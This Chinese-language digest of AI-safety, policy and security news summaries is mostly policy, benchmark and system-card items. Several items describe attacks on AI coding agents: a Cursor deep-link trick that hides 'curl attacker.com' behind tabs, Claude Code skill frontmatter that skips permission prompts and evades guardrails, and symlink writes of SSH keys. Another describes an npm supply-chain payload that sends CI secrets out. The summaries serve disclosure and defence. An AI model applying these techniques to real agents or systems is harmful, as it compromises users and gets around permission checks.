Google Cloud Run 无认证公开函数的安全风险与加固指南

Mandiant 安全评估发现大量缺乏认证的公网暴露 serverless 应用，Cloud Run 服务若含第三方依赖易遭本地文件包含（LFI）、远程文件包含及命令注入攻击，成功利用可获得容器实例完整控制权并进一步横向移动接管云环境。该博客基于客户实战经验梳理攻击场景，针对必须公网开放的 Google Cloud Run 服务和函数给出一组加固建议，相关原则同样适用于任意公有 serverless 部署。

Wiz Red Agent 发现 B2B 平台数据 API 付费墙绕过漏洞，600M+ 联系人信息可免费获取

Wiz 的自主 Red Agent 在一家领先 B2B 平台的数据 API 中发现授权绕过漏洞：免费账户在搜索请求中注入单个客户端可控布尔参数（如 unmaskContactData），即可绕过积分付费机制，明文获取 600M+ 商业邮箱、135M+ 已验证直线电话及约 50% 记录中的个人邮箱。该漏洞源于后端信任客户端传入的 flag 而未校验用户权限，属于典型业务逻辑缺陷，传统 SAST/DAST 工具难以检出。平台安全团队在收到报告后 2 小时内完成修复。

Adversa AI 披露 Cursor 深链漏洞 DeepJack：伪装 PR 审查链接可安装恶意 MCP 服务器并远程执行代码

Adversa AI 披露 Cursor 的 cursor:// 深链漏洞 DeepJack，攻击者伪装成队友发送一条“审查 PR”链接，点击并确认后即可安装攻击者控制的 MCP 服务器，以受害者账号执行未沙箱命令。攻击有两个变体：一是把 mcp/install URI 双重 URL 编码后塞进 pr-review 端点的 url 参数，Cursor 不会递归解码或重新校验该参数；二是安装对话框用单行文本框渲染命令，攻击者用大量制表符把恶意尾部（如 & /c start curl attacker.com）顶出屏幕，用户只看到 calc 之类的无害命令。

推荐理由披露 Cursor 的 cursor:// 深链可借伪装成 PR 审查的链接安装恶意 MCP 服务器并执行未沙箱命令，附跨 Agent 深链能力对照表。

IAPS 评估 RASA 法案：建议将云基础设施定义扩展至 PaaS

IAPS 发布关于《远程访问安全法案》（RASA）的政策简报，评估该立法应如何界定范围，并建议参议院文本 S. 3519 扩大对云基础设施的定义。简报指出，美国出口管制限制向中国出售先进 AI 芯片，但未明确覆盖通过云远程租用的同等算力，RASA 将补上 BIS 在这一权限上的缺口。参议院文本目前仅把云基础设施服务定义为 IaaS，只覆盖租用裸金属算力训练模型的实体，却不覆盖同一实体在托管平台服务上训练的情形，IAPS 建议至少纳入有明确边界的 PaaS 定义。简报还提示，若 RASA 像已通过的众议院文本 H.R. 2683 那样延伸到 SaaS，可能赋予 BIS 对访问美国 AI 模型的管制权限；文中提到商务部致 Anthropic 的信函要求 Mythos 5 与 Fable 5 模型出口需许可，但未建立模型专属 ECCN，也未明确是否覆盖通过 SaaS 远程访问模型。

Wiz 披露 AsyncAPI 供应链攻击：GitHub Actions 配置缺陷致 npm 包被投毒

Wiz Research 披露，攻击者利用 asyncapi/generator 仓库中 GitHub Actions 的 pwn request 配置缺陷，通过 pull_request_target 检出并执行 PR 代码，窃取 asyncapi-bot 的高权限 PAT，随后在 @asyncapi 命名空间下发布 4 个恶意 npm 包共 5 个版本，这些包每周下载量合计超过三百万次。攻击者先以 37 个 PR 制造噪声，其中一个 PR 用约 1000 字节空白隐藏混淆 JavaScript，扫描 runner 环境变量并将密钥外传到 rentry.co。

推荐理由完整还原了从 GitHub Actions 配置缺陷到 npm 投毒、再到多阶段载荷与 C2 的整条链路，并给出受影响包版本与 IOC，便于排查。

Concordia AI 发布《中国 AI 安全现状（2026）》报告及配套交互网站

Concordia AI 发布《中国 AI 安全现状（2026）》年度报告，覆盖 2025 年 7 月至 2026 年 6 月中国在通用 AI 安全方面的进展，并上线配套交互网站。报告分国内治理、国际治理、技术安全研究、专家观点与产业治理五个领域。国内治理方面，2026 年 3 月确立的“十五五”规划（2026–2030）将“AI+”作为总体政策，同时强调风险预警与应急响应，并关注 AI 对就业的影响；开源智能体 OpenClaw 在 2026 年初扩散后，多家网络安全机构发布警告，2026 年 5 月国家网信办等三部门发布智能体专项指引，提出基于风险的治理思路。国际治理方面，中国支持联合国 AI 科学小组与全球 AI 治理对话两个新机制，并提出世界 AI 合作组织（WAICO）设想，同时与美国启动政府间 AI 对话，结束两年的官方双边冻结。

AsyncAPI 四个 npm 包遭 CI 供应链攻击投毒，含凭证窃取后门

Datadog Security Labs 披露，2026 年 7 月 14 日 @asyncapi 命名空间下四个 npm 包被植入恶意代码，合计每周下载量超过 300 万次，受影响版本为 @asyncapi/generator 3.3.1、@asyncapi/generator-components 0.7.1、@asyncapi/generator-helpers 1.1.1 和 @asyncapi/specs 6.11.2（含 6.11.2-alpha.1）。随后攻击者用该账号推送恶意提交，由正常 CI 流水线发布带毒版本，npm provenance 显示其由 GitHub Actions 构建签名。

AI 作为常规技术：ICML 主题演讲探讨 AI 时代人类还剩下什么工作

普林斯顿大学研究者 Sayash Kapoor 与 Arvind Narayanan 在 ICML 主题演讲中提出，AI 作为常规技术（AI as Normal Technology）框架可用于理解 AI 对经济与社会的影响，除非未来出现递归自我改进等不连续性。演讲认为，即便认真对待递归自我改进，实验室里也不存在某个里程碑会突然让所有人失业，但未来工作将截然不同，需要大量适应，并最终指向人机“共同超级智能”的愿景。

如果 2030 年 AGI 转型失败：Boaz Barak 分析四类灾难场景

Boaz Barak 在一篇观点文章中设想 AGI 转型在美国或全人类层面走向失败的可能路径，将其归纳为灾难性滥用、灾难性失准与失控、权力集中、以及"一团乱麻"四类非互斥场景。他特别担忧权力集中问题，认为人类被 AI 或少数未经选举的人控制即使物质富足也不是好未来，因此警惕把更多控制权交给"好"AI、减少模型供应商竞争或限制先进 AI 获取渠道的干预。他主张安全限制应针对具体可测量风险，而非由假设性风险驱动的广泛限制。

Google DeepMind 联合印度 ATL 启动 Gemini 驱动的教育助手 ATL Saathi 试点

Google DeepMind 面向印度 Atal Tinkering Labs（ATL）启动 ATL Saathi 实机试点，这是一款由 Gemini 提供底层能力的网页应用，为该计划的教育工作者提供全天候备课与培训助理。该工具基于 NotebookLM 整理并维护全部 ATL 课程材料，覆盖 12 个核心模块的小结、AI 信息图、视频概览与互动测验，并为其中 10 个模块提供进阶的项目生成界面，同时支持教师与学生双向的教学模式。其最新 Gemini 3.5 Flash 模型负责即时生成符合年级与课程标准的活动创意及分步组装说明、接线图和必要的安全注意事项，首批落地全国 100 所试点学校，初期支持 8 种语言。

新加坡 PDPC 顾问指南解读：组织如何构建可信赖的生成式 AI

新加坡个人资料保护委员会（PDPC）发布的顾问指南面向各类组织，说明如何在遵守个人信息保护法规的前提下建设并运用可信赖的生成式 AI。该指南由 AI Verify Foundation 在其网络交流活动中进行解读，帮助组织将相关合规要求落实到自身实践中。

AI Verify Foundation 举办 AI Assurance Exchange 交流会

AI Verify Foundation 举办了 AI Assurance Exchange 交流会，活动页面同时列出多场相关会议回顾，涵盖可信生成式 AI——PDPC 咨询指南对组织的意义、AI Assurance Exchange @ ISE 与 ATxSummit 2026、Standards in Action，以及 AI 生成代码的未来等议题。

EU AI Act Newsletter #106：呼吁强制执行通用人工智能模型规则

欧盟委员会正推动从 2026 年 8 月 2 日起执行《EU AI Act》中针对具有系统性风险的通用人工智能模型的规则，并收到一批研究者与公民社会组织的公开信施压。信中援引 Anthropic 的 Mythos 模型存在广泛报道的网络攻击能力和生物学及失控风险逼近临界阈值的证据，要求赋予 AI Office 的评估员网络开展外部评估的权力并提供足够资源和政治支持。同期理事会通过 Omnibus VII 简化方案，将高风险系统适用日期推迟至 2027 年 12 月 2 日（嵌入式产品为 2028 年 8 月 2 日）。

BlueDot Impact 提出值得期待的 AI 安全传播工作方向

BlueDot Impact 过去 6 个月向 AI 安全创作者发放超 $200k 资助，并计划年底前将规模扩大三倍，同时公开征集更多 AI 安全传播方向的构想。其设想的项目形态包括承接付费客户业务并将利润再投入 AI 安全内容的制作工作室、帮创作者处理商务合作与法律事务的经纪机构、面向创作者的驻留空间，以及连接专家与创作者的内容创意数据库。该组织还提到人才输送渠道与创作者资助机制的缺口，例如黑客松及类似 FLI 数字媒体加速器的早期阶段探索性资助。

PAI 日内瓦合作伙伴论坛：负责任 AI 从原则走向实践

Partnership on AI 在日内瓦举办 2026 年合作伙伴论坛，并借首届联合国全球 AI 治理对话之际发布两项新举措——Global AI Progress Hub 公开追踪器与《Global Responsible AI: Measures of Progress》年度独立评估报告。会上讨论聚焦 AI 当前的实际影响、问责归属以及谁有权参与决策三条主线，其中提到呼叫中心生产力因 AI 辅助上升 14%-15%，PwC 一项研究估算助益型 AI 通过育儿、养老与日常事务管理为家庭创造了最高 3300 亿美元的社经价值，同时指出多数企业尚未正式承诺遵守 UNGP，执法也不一致。

美国政府选用 AI 模型引发价值观质疑：谁来定义模型的"性格"

加州政府已将 AI 助手 Poppy 向员工开放，北达科他州立法委员会和洛杉矶高等法院也相继引入 AI 处理法案总结与案件管理。《华盛顿邮报》近期测试显示，Gemini 3.1 Pro 和 Claude Opus 4.8 是仅有的多数情况下能对政策问题提供意识形态中立回答的前沿模型。不同前沿模型的"性格"差异可能悄然改变政府对危机的应对方式和对政策的取舍，因此民主国家在选择政府采购的 AI 模型时必须考虑其能否代表公众意志。

从 Claude Mythos 到 Fable：为何需要在“Bio Mythos”时刻前建立生物安全保证基础设施

Anthropic 的 Claude Mythos 因能识别并利用电网、金融网络和医院系统等关键基础设施软件的弱点，将 AI 网络能力风险推上美国政策议程首位，Anthropic 提前向部分企业和政府机构开放早期访问以便防守方加固系统。两个月后 Fable 面向公众发布引发担忧其防护栏可能被绕过，商务部据称给 Anthropic 90 分钟禁止外国国民访问，导致该模型全球下线，此后限制虽解除但仍可重新施加。由于生物能力的危险性更难观察衡量且具有自我复制和进攻主导特性，若缺乏生物安全保证基础设施，“Bio Mythos”时刻可能同样招致被动应对。

Thinking Machines：值得构建的未来属于人类

Thinking Machines 提出其使命是构建扩展人类意志与判断的 AI，主张 AI 应像人一样多样且分布，而非在少数地方训练后冻结。为此其技术方向包括训练强模型、让用户微调模型权重、开发拓宽人机沟通的界面，并公开研究。文章认为棋类与数学等目标静态、无隐藏知识的领域可让 AI 自主推进，但组织中的默会知识分散且局部，AI 须与人协作而非取代人。

Wiz 解读 Verizon DBIR：AI 加速攻击与云环境扩张如何冲击现代防御

Wiz 在为 Verizon《数据泄露调查报告》（DBIR）贡献的研究中发现，已知被利用漏洞（KEV）中仅 26% 被完整修复，另有 16% 完全未被处理，同时组织需处理的 KEV 中位数从 11 升至 16，修复周期由 32 天延长至 43 天。报告还指出，第三方参与的入侵占比同比从 30% 升至 48%，漏洞利用已成为首要初始访问途径，占全部泄露事件的 31%。Wiz 观察到 AI 更多是在加快侦察、凭证窃取与事后自动化，而非改变入侵方式，并建议将既有的治理与可见性管控同样应用于 AI 系统。

tl;dr sec #336：自主漏洞挖掘、GuardDog 3.0 与赏金猎人还有未来吗

匿名研究者 bikini 未经知会厂商便在 GitHub 公开 Exploitarium，一次性放出超 130 个 PoC 漏洞利用及配套写作，涉及 libssh2、Gitea、7-Zip、Docker、OpenVPN Connect、VLC、nmap 等项目。Luke Stephens（Hakluke）反驳"漏洞赏金已被 AI 玩坏"的说法，指出前沿模型的订阅成本已达每月数百至上千美元，可能抬高参与门槛、削弱全球黑客的可及性。

Mistral Studio 为 Prompts 和 Skills 提供系统记录

Mistral Studio 现已向客户提供 Prompts 和 Skills 的集中管理系统，将每个提示词和技能作为可追踪、可版本化的资产，具备不可变版本、回滚、明确归属、分类标签和审计日志。资产通过标签从 staging 晋升到 production，仍触发企业已有的 CI/CD（如通过 SDK 接入 GitHub Actions），非开发者的业务团队也能直接迭代生产指令。借助 Observability 的 lineage 和遥测，生产输出可回溯到对应资产版本，智能体运行的 skills 以 MCP 服务器形式直接暴露，确保执行的是受治理的同一资产。

Adversa AI 汇总 2026 年 7 月 AI 编码 Agent 安全资源

Adversa AI 汇总了 2026 年 7 月共 19 项 AI 编码 Agent 安全资源，涵盖 6 项攻击技术、4 项编码 Agent 漏洞、3 项防御方案及威胁建模、CISO 资源、培训材料等类别。

OpenAI 发布 GPT-5.6 System Card，三款模型生物化学能力定为 High

OpenAI 发布 GPT-5.6 System Card，将 Sol、Luna、Terra 三款模型在生物与化学领域统一评估为 High 能力，但均未达到 Critical 阈值。部署模拟显示，GPT-5.6 Sol 与 GPT-5.5 的违规内容比例总体相当，其中性相关内容上升 40%（从 0.05% 到 0.07%），心理健康相关违规下降约 40%（从 0.03% 到 0.02%）。在生物威胁隐性知识与排障测试中，GPT-5.6 Terra 计入拒答后得分 84.1%，高于 80% 的专家基线。安全训练方面，模型相对 GPT-5.5 出现轻微安全回退，但在低风险高级生物良性工作流上的过度拒答明显减少；针对新型威胁场景的防护栈在红队关键提示上取得 93.5% 的召回率。

推荐理由System Card 披露 GPT-5.6 三款模型在生物化学领域被定为 High 能力，并给出部署模拟与拒答边界的变化数据。

Anthropic 发布 Embody 基准：测试语言模型控制机器人的能力

Anthropic 用自建基准 Embody 测试了 12 款模型控制多种机器人本体的能力，涵盖经典控制玩具、仿真四足与人形、机械臂以及真实的 Unitree Go2。结果显示模型表现高度依赖控制接口：直接输出电机扭矩时大多失败，而监督预训练策略或使用简单方向工具时能完成真实的导航与操作任务。在 7-DoF Franka Panda 机械臂的 LIBERO 任务上，直接控制下完整任务成功率仅 0 到 5.5%，配合 MolmoAct VLA 后大幅提升，但所有模型仍明显弱于 VLA 单独运行。视觉辅助中光标工具和罗盘最有效，深度图与分割叠加基本中性；额外推理预算对多数结果影响不大。研究指出，模型无需自己驱动关节，只要接入一个称职的控制器就能在物理世界有效行动，因此能力评估需把工具与控制权限视为系统的一部分。

推荐理由Anthropic 用自建 Embody 基准测试多款模型控制真实与仿真机器人，量化了控制接口对能力的影响，为具身智能体的能力评估提供参照。

HiddenLayer 披露 Claude Code 技能 frontmatter 可绕过权限并投毒记忆

HiddenLayer 研究发现 Claude Code 技能文件的多个 frontmatter 字段存在安全缺口，可被用来劫持编码智能体。攻击者利用 allowed-tools 字段预授权 Bash、Read、Write、Skill、WebFetch 等工具，绕过原本的工具调用权限请求；通过指定能力更弱的模型和更低 effort 等级实施降级攻击，规避护栏拒答，反向操作则可抬高成本，测试中同一 URL 摘要任务从 Haiku 低 effort 的 0.0274 美元升至 Opus 高 effort 的 0.1451 美元。将指令移入 when_to_use 字段并把 user-invocable 设为 false，可让技能在斜杠菜单中不可见却仍被触发，ClawHub 和 skills.sh 等技能站点也不展示 name、description 之外的字段。

推荐理由HiddenLayer 拆解 Claude Code 技能 frontmatter 的权限绕过与记忆投毒链条，为使用技能文件的团队提供可对照的检查点。

Epoch AI 发布 EBR-bench：用桌游《Earthborne Rangers》测试 AI 能否从经验中学习

Epoch AI 推出 EBR-bench，通过让模型反复游玩复杂桌游 Earthborne Rangers 来检验其从经验中学习的能力，目前几乎没有证据表明 AI 具备该能力。同期数据显示，Anthropic 于 4 月称 Claude Mythos Preview 能自主发现软件漏洞后，6 月 21 家机构的约 1,500 个高危和严重级 CVE 披露量达到此前月度纪录的 3.5 倍以上；GPT-4 则在 Epoch Capabilities Index 榜首停留约一年，远超其他模型的三个月出头。

Wiz 披露 GhostApproval 漏洞：六款 AI 编码助手存在符号链接信任边界缺陷

Wiz Research 披露名为 GhostApproval 的漏洞模式，影响 Amazon Q Developer、Anthropic Claude Code、Augment、Cursor、Google Antigravity 和 Windsurf 六款 AI 编码助手。攻击者构造含符号链接（CWE-61）的恶意仓库，诱使 Agent 将文件写入工作区之外，例如把攻击者 SSH 公钥写入 ~/.ssh/authorized_keys，从而获得持久免密访问甚至远程代码执行。

推荐理由Wiz 披露六款 AI 编码助手共有的符号链接信任边界缺陷，并给出各厂商修复与拒绝的处置差异，可供评估 Agent 文件写入权限的团队参考。

promptfoo 0.121.18 发布：新增 Claude Sonnet 5、GPT-5.6 预览与 Moonshot（Kimi）支持

promptfoo 发布 0.121.18，新增 Claude Sonnet 5 支持，覆盖 Anthropic、Bedrock、Vertex 和 Azure 四个平台，并加入 GPT-5.6 预览支持与 Moonshot（Kimi）provider。该版本还扩展了 Bedrock 对 Grok 4.3、GLM、MiniMax、Nemotron、Gemma、Palmyra 的支持，并扩充 Google 模型支持（Nano Banana 2 Lite、GA image aliases、gemini-pro-latest）。修复方面涉及 is-refusal、is-sql、is-xml 等断言逻辑，以及 redteam 中已弃用或无效的提示注入 id 展示问题。

OpenAI 发布 GPT-Live System Card 并修正安全评测分数

OpenAI 发布 GPT-Live-1 与 GPT-Live-1 mini 的 System Card，说明两款模型在互联网公开数据、第三方合作数据及用户与人工训练者提供的数据上训练，并通过数据过滤减少个人信息、用安全分类器降低有害或敏感内容。2026 年 8 月 4 日，OpenAI 发现评测配置不匹配，用正确配置重跑全部评测并更新结果，同时新增附录并列原始值与修正值。修正后的生产评测显示 GPT-Live-1 在非法行为上从 0.97 降至 0.95，GPT-Live-1 mini 从 0.94 降至 0.91；合成评测中 GPT-Live-1 在性内容上从 0.97 降至 0.95、血腥内容从 0.97 降至 0.93，GPT-Live-1 mini 在非法行为上从 0.97 降至 0.95、血腥内容从 0.96 降至 0.90。OpenAI 表示这些回退均未低于其安全发布标准。

推荐理由System Card 附录公开了评测配置错误导致的分数修正，并列出 GPT-Live-1 与 mini 在违规内容上的回退幅度。

Epoch AI 提出 AI 未来主义辩论缺失的另一半：应做带明确 AI 假设的技术开发难度估算

Epoch AI 发文指出，AI 未来主义辩论普遍只论证超级智能会来得快，却忽略了具体科幻技术的研发难度这另一半问题，主张部分研究者开展一项三步流程的新研究方向。 该流程为：选定并明确定义某项具体技术（如能自我复制并以近光速推进星际探测器的机器）、设定明确的 AI 假设（例如具备"drop-in remote worker replacement"能力的 AI，运行时算力相当于一块 H100 GPU）、再估算这样的 AI 开发该技术所需的时间或资源。 作者承认已有工作关注超级智能现实瓶颈及 GDP 增长等经济指标，但认为 GDP 可能无法反映特定关键技术的时间线，因此提议将显式的 AI 假设纳入探索性工程分析。

Goodfire《神经几何》系列：从激活空间结构理解与控制神经网络

Goodfire 发文提出"神经几何"研究方向，主张神经网络激活中蕴含丰富几何结构——星期呈圆形排列、颜色构成 HSL 流形、生命树出现在基因组表征中，可作为理解、改进和控制模型的抓手。该系列收录多项工作：沿弯曲流形的引导比传统线性引导向量产生更精准的行为改变；Llama 3.1 8B 内被发现一个基于圆形数值表示的加法模块；Block-Sparse Featurizers（BSF）将视觉模型激活分解为多维子空间并实现细粒度引导，且多数概念是多维的。

Lilian Weng@lilianweng · 13:58关注度1515

关于 AI 自我改进的 harness 工程新文章：https://lilianweng.github.io/posts/2026-07-04-harness/ 很难预测未来 RSI 会在多大程度上依赖 harness。harness 工程很可能朝着自我改进的方向演进，并实现自动研究，而反过来，更聪明的模型又让 harness 保持简单。 即便许多 harness 改进最终被内化进核心模型，明确目标和上下文的需求也不会消失。

AI Verify Foundation 发布《Agentic AI 模型治理框架》，强调人类最终问责并新增实战案例

AI Verify Foundation 更新《Agentic AI 模型治理框架》（Model Governance Framework for Agentic AI），指导组织负责任地部署 AI 智能体，同时强调人类始终承担最终责任。该框架系统梳理了智能体 AI 的风险及新兴最佳实践，并于 2026 年 5 月的更新中加入真实世界案例研究，说明组织如何将建议落地以满足自身需求。

Partnership on AI 启动全球 AI 进展枢纽与责任 AI 进度报告计划

Partnership on AI（PAI）在第 79 届联合国大会期间的首届全球 AI 治理论坛上宣布两项全球倡议——全球 AI 进展枢纽（Global AI Progress Hub）与《全球负责任 AI：进展衡量》年度报告，旨在建立首个公开记录来评估 AI 系统是否合乎伦理、安全和可信。该枢纽邀请多方组织提交其行动并追踪成效，围绕人类联结与福祉、就业与经济搭建共同衡量框架；配套报告由多方社区指导方法论进行独立评估，将于 2027 年春季向公众开放访问。

AI 安全周报第 76 期：Fable 5 限制解除，OpenAI 应政府要求限制 GPT-5.6 发布

美国政府在 6 月 30 日解除对 Anthropic Fable 5 的限制，该模型于 7 月 1 日重新向全球用户部署，此前限制源于一项已修复的网络安全越狱。

日本 AI 安全研究所发布《AI 安全评估视角指南》第 1.20 版

日本 AI 安全研究所（J-AISI）发布《AI 安全评估视角指南》第 1.20 版，结合 AI 智能体系统的普及，更新并扩充了评估视角与评估项示例。此次修订重新审视了既有评估视角，新增了部分评估项示例，并针对 AI 智能体系统特有的风险设立了“观测与控制”视角，补充了与“自主行为”和“外部环境交互”相关的评估项。该指南指出，AI 智能体系统能够自主行动并对外部系统或物理环境产生影响，因此需要应对传统 LLM 系统未能充分预想的风险。

推荐理由日本 AI 安全研究所更新评估视角指南，新增面向 AI 智能体的观测与控制视角，可供做智能体安全评估的团队参考。

Adversa AI 汇总 2026 年 7 月 MCP 安全资源清单

Adversa AI 汇总了 2026 年 7 月的 MCP 安全资源共 10 项，涵盖漏洞、攻击技术、红队、防御、威胁建模与真实事件等类别，并逐条对应其 Top 25 MCP 漏洞基线。漏洞方面，MCPPrivacyDetector 框架用跨语言静态与污点分析检测 MCP 工具处理程序中的隐私泄露，在超过 1 万个真实服务器上发现凭据、API key 和 PII 泄露率超过 10%；Amazon Q VS Code 扩展存在 CVSS 8.5 的自动执行漏洞，可从工作区目录自动加载 MCP 配置并在打开恶意仓库时执行代码、窃取 AWS 凭据，该缺陷已于 2026 年 6 月修补。

SecureBio AI 负责人 Seth Donoughe 卸任，Jasper Götting 接任

SecureBio AI 团队主任 Seth Donoughe 卸任，将 AI 研究负责人一职交给自 2024 年起领导该团队 AI 研究的病毒学家 Jasper Götting。Donoughe 指出，当 AI 科学能力超越所有人类专家后，基于人类专家知识构建的基准将失去动态范围，需转向人类可验证但专家难以完成的任务（如预测实验结果），而 SBAI 正投入该方向；但该方法不适用于评估新想法、判断与研究方向的产出。他还强调需研究人机混合科学家，并建立 AI 驱动科学发现的安全流程。

AI 治理需要“激进可选择性”：Charlie Bullock 与 Christoph Winter 提出新治理策略

针对前沿 AI 治理，Institute for Law & AI 高级研究员 Charlie Bullock 与 Christoph Winter 提出“radical optionality（激进可选择性）”策略：短期内避免过度监管，同时建设机构能力，以便在变革性 AI 出现时能够胜任监管。该策略主张通过举报人保护、报告要求和透明度强制等轻触式信息收集权限，在不显著拖累创新的前提下提升安全。文章还提到英国 AI Security Institute 的成功经验，其获得的资金是美国同类机构的 10 倍。

Tamir Ishay Sharbat@tamirishaysh · 20:37关注度1414

当年（6 个月前）Anthropic 报告了"首起 AI 编排的攻击活动" 显然攻击者注意到了外面所有的攻击性 LLM 研究。 但他们没有用自己的 LLM 基础设施，而是在劫持你的……